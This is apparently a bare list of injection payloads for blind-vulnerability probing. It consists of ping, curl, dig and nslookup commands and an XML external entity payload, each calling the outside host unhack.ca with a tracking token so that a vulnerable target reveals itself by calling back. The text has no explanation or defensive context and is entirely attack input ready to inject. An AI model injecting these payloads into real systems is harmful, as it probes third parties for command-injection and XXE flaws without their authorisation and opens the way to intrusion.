$ ping -c1 -p 003ab923def077d44cc2c4a1e08ad200 unhack.ca
$ curl http://unhack.ca/p/3ab923def077d44cc2c4a1e08ad2
$ dig 3ab923def077d44cc2c4a1e08ad2 @unhack.ca
$ dig 3ab923def077d44cc2c4a1e08ad2.ns.unhack.ca
C:\> nslookup 3ab923def077d44cc2c4a1e08ad2 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/3ab923def077d44cc2c4a1e08ad2">]> <foo>&xxe;</foo>